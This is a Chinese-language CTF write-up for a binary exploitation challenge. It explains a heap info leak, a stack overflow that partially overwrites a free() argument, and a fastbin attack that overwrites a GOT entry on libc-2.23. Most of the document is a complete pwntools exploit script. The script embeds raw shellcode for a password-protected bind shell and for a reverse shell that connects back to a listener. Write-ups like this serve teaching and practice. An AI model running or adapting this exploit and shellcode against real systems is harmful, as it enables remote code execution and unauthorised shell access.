首先是信息泄露,在复制数据时当剩下的数据长度比需要的小时就不会进行复制

__int64 __fastcall copy_by_size(handle_message *handle_message, char *buf, unsigned int size)
{
  __int64 result; // rax@1
  char *v4; // rdi@3
  int v5; // eax@3
  handle_message *v6; // [sp+Ch] [bp-18h]@1
  unsigned int i; // [sp+20h] [bp-4h]@2

  v6 = handle_message;
  result = handle_message->size - size;
  if ( handle_message->offset <= (unsigned int)result )
  {
    for ( i = 0; ; ++i )
    {
      result = i;
      if ( i >= size )
        break;
      v4 = v6->content;
      v5 = v6->offset;
      v6->offset = v5 + 1;
      buf[i] = v4[v5];
    }
  }
  return result;
}

当反序列化类型为666子类型为1时,有一个整数溢出的漏洞,通过构造合适的大小,在malloc后实际不进行复制,由于未初始化就可以泄露堆上的信息,例如堆地址等

type_666_1 *__fastcall unserialize_666_1(__int64 buf, int size_1)
{
  handle_message *ptr; // [sp+18h] [bp-18h]@1
  type_666_1 *v4; // [sp+20h] [bp-10h]@1
  unsigned int size; // [sp+2Ch] [bp-4h]@2

  v4 = malloc(0x20uLL);
  ptr = new_handle_message(buf, size_1);
  v4->type = get_dword(ptr);
  v4->flag = get_dword(ptr);
  v4->num1 = get_dword(ptr);
  v4->num2 = get_dword(ptr);
  v4->content2 = malloc((v4->num1 * v4->num2) >> 3);
  copy_by_size(ptr, v4->content2, (v4->num1 * v4->num2) >> 3);
  if ( v4->flag )
    size = 4 * v4->num1 * v4->num2;
  else
    size = (v4->num1 * v4->num2) >> 3;
  v4->content1 = malloc(size);
  copy_by_size(ptr, v4->content1, size);
  free(ptr);
  return v4;
}

之后在游戏胜利后有一个明显的栈上的缓冲区溢出漏洞,可以覆盖free时的参数的低2个字节。我是先free出一个0x70大小的fastbin,再覆盖free时的参数的低2个字节free出一个覆盖之前0x70大小fastbin的overlapping unsorted bin来进行fastbin attack,这里还需要过_int_free时的检查

image.png-130.5kB

然后再malloc一个0x90大小的堆块分配到之前的unsorted bin,覆盖0x70大小fastbin的fd0x60505dlibc-2.23下这个位置刚好可以伪造一个0x0000007f大小的fastbin

屏幕快照 2017-12-19 下午11.26.44.png-121.6kB

got表上也可以找到0x00000060,但在申请fastbin时有一个检查,由于在线程中用的是thread arena,线程中用0x60大小在检测所属arena是否正确时会导致失败,0x7f大小的堆块由于是mmapped的,也不属于main arena,因此可以过这个检查

assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || ar_ptr == arena_for_chunk (mem2chunk (victim)));

这时再malloc两次0x60大小的堆块就可以得到地址为0x60505d的堆块

屏幕快照 2017-12-19 下午11.48.55.png-84.4kB

最后覆盖got表上的read地址为shellcode地址来执行shellcode

屏幕快照 2017-12-19 下午11.54.36.png-104.3kB

from pwn import *
import sys
import time
import struct
import socket

VERBOSE = 0
BIND = 1
context.arch = 'amd64'

if VERBOSE:
	context.log_level = 'debug'

ip = '127.0.0.1'
port = 12000
if BIND:
	listen_port = 8000
	password = 'bird'
else:
	local_ip = '127.0.0.1'

io = remote(ip, port)

def ip2int(addr):                                                               
    return struct.unpack("!I", socket.inet_aton(addr))[0]

def send_type_7(content):
	global io
	io.send(p32(7))
	io.send(p32(4+len(content)))
	io.send(p32(len(content)) + content)
	io.send(p32(0))

def send_type_6(ch):
	global io
	io.send(p32(6))
	io.send(p32(1))
	io.send(ch)
	io.send(p32(0))

def send_type_666_1(id2, num0, flag, num1, num2):
	global io
	io.send(p32(666))
	io.send(p32(4*6))
	io.send(p32(id2) + p32(16) + p32(num0) + p32(flag) + p32(num1) + p32(num2))
	io.send(p32(0))

send_type_6(' ')
send_type_7('A' * 0x100)
send_type_7('A' * 0x100)
send_type_666_1(0, 0, 0, 6, 8)
io.recvuntil('\x06\x00\x00\x00\x08\x00\x00\x00')
leak_heap_addr = u64(io.recvn(6) + '\x00\x00')
heap_base = leak_heap_addr - 0xa8
log.info("leak_heap_addr:%#x" % leak_heap_addr)
log.info("heap_base:%#x" % heap_base)
io.close()

io = remote(ip, port)
send_type_7('A' * 0x808 + '\x40\x1a\x00')
send_type_6(' ')

io.send(p32(666))
payload = p32(3) + p32(2) + p32(3) + p32(2) + p32(3) + p32(2) + p32(3) + p32(2) + p32(3) + p32(2) + p32(3) + p32(2) + p32(3) + p32(2) + p32(3) + p32(2) + p32(0x37) + p32(0) + p32(0xa5) + p32(0) + p32(0xa5) + p32(0x00) + p32(0x95) + p32(0)
payload = p32(0) + p32(len(payload)) + payload
io.send(p32(len(payload)))
io.send(payload)
io.send(p32(0))

send_type_6(' ')

time.sleep(1)
io.send(p32(1))
payload = '\x00' * 0x40 + p64(0) + p64(0x75) + p64(0x60505d)
payload = payload.ljust(0x90, '\x00')
io.send(p32(len(payload)))
io.send(payload)
io.send(p32(0))

time.sleep(1)
io.send(p32(1))
if BIND:
	# 96 bytes
	shellcode = "\x31\xf6\xf7\xe6\xff\xc6\x6a\x02\x5f\x04\x29\x0f\x05\x50\x5f\x52\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02" + p16(listen_port, endian='big') + "\x54\x5e\x52\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x5e\xb0\x32\x0f\x05\xb0\x2b\x0f\x05\x50\x5f\x54\x5e\x31\xc0\x0f\x05\x81\x3c\x24" + password + "\x75\x1f\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x56\x5a\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x0f\x05"
else:
	# 84 bytes
	l = listen(bindaddr=local_ip)
	shellcode = "\x68" + p32(ip2int(local_ip), endian='big') + "\x66\x68" + p16(l.lport, endian='big') + "\x66\x6a\x02\x6a\x2a\x6a\x10\x6a\x29\x6a\x01\x6a\x02\x5f\x5e\x48\x31\xd2\x58\x0f\x05\x48\x89\xc7\x5a\x58\x48\x89\xe6\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\x7e\xf3\x48\x31\xc0\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05"
	shellcode = shellcode.ljust(0x60, '\x90')
io.send(p32(len(shellcode)))
io.send(shellcode)
io.send(p32(0))

time.sleep(1)
io.send(p32(1))
payload = '\x00' * 3 + p64(heap_base + 0x1a90)
io.send(p32(0x60))
io.send(payload)

time.sleep(1)
if BIND:
	io = remote(ip, listen_port)
	io.send(password)
	io.interactive()
else:
	_ = l.wait_for_connection()
	l.interactive()